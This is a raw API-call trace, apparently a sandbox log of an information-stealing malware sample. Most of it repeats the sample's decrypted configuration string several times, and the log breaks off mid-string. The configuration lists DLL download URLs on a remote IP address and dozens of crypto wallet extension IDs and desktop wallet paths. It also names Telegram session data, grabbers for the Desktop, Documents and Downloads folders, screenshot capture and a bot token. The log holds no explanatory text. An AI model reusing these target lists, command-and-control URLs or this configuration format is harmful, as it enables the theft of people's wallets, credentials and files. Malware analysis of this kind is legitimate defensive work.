Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.323] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.324] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6ef5a0 [0266.325] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.325] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f1ee8 [0266.325] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.325] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6f8830 [0266.326] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.326] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6fb178 [0266.326] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension 